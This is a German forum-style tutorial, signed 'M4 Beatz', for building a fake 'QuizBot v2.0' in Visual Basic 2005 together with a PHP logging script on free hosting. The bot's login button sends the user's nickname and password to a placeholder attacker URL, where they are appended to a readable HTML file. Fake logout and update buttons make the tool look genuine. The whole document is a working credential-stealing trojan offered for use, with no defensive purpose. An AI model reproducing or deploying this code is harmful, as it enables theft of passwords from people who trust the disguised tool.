Aloha
Was wir brauchen:
- Visual Basic 2005
- FileZilla
- 5 Minuten Zeit
Schritt 1 - PHP:
Also, wir erstellen ein neues Textdokument, welches wir "Passwort.php" nennen und folgenden Code reinschreiben:
PHP-Code:
<?php
$datei = fopen("Passwort.html", "a");
fwrite($datei, $_REQUEST["add"]);
fclose($datei);
?>
Nun erstellen wir erneut ein neues Textdokument, welches wir "Passwort.html" nennen und
nichts eintragen!
Diese zwei Dateien ziehen wir nun auf unseren Server.. (funpic.de / ohost.de)
Schritt 2 - Visual Basic:
Nun öffnen wir Visual Basic 2005 und erstellen ein neues Projekt, welches wir "QuizBot v2.0" oder ähnlich nennen!
Jetzt kommen wir zum Aussehen des Botes!
Ihr zieht folgendes auf die Form:
- 7 Labels (Label1 = Nickname; Label2 = Passwort; Label3 = Channel; Label4 = URL; Label5 = Gespeicherte Antworten; Label6 = "KEIN TEXT" - LEER LASSEN"; Label7 = LEER LASSEN)
- 3 Buttons (Button1 = Einloggen; Button2 = Ausloggen; Button3 = Update)
- 4 TextBoxen (TextBox1 = Nickname; TextBox2 = Passwort; TextBox3 = Channel; TextBox4 = URL)
Machen wir weiter mit den Codes..
Ihr macht einen Doppelklick auf Button1 (Einloggen) und schreibt folgendes hinein:
PHP-Code:
Dim add As String = "[" & TimeOfDay & "]" & "<br>" & "Nickname: " & TextBox1.Text & "<br>" & "Passwort: " & TextBox2.Text & "<br><br>"
Dim client As New Net.WebClient
client.DownloadData("http://deineurl.de/Passwort.php?add=" & add)
Label7.Visible = False
Jetzt noch deineurl.de durch eure URL ersetzten!
Nun macht ihr einen Doppelklick auf Button2 (Ausloggen) und schreibt folgenden Code hinein:
PHP-Code:
If Label7.Visible = False Then
MsgBox("Erfolgreich ausgeloggt!")
End If
If Label7.Visible = True Then
MsgBox("Überprüfen sie bitte, ob sie eingeloggt sind!")
End If
Jetzt fügt ihr über "Public Class Form1" eine Deklaration ein:
PHP-Code:
Imports System.Net
Imports System.Io
Als nächstes macht ihr einen Doppelklick auf den Button3 (Update) und schreibt folgenden Code hinein:
PHP-Code:
Dim webreq As WebRequest = WebRequest.Create(TextBox4.Text & "?action=count")
Dim webres As WebResponse = webreq.GetResponse
Dim reader As StreamReader = New StreamReader(webres.GetResponseStream)
Dim right As String = reader.ReadLine
Label7.Text = reader.ReadLine()
Durch diesen Code wird die echte Anzahl der Quizsätze angezeigt.
Das war es auch schon..
Mein "Bot" sieht so aus:
 |
This image has been resized. Click this bar to view the full image. The original image is sized 675x436. |
by M4 Beatz!
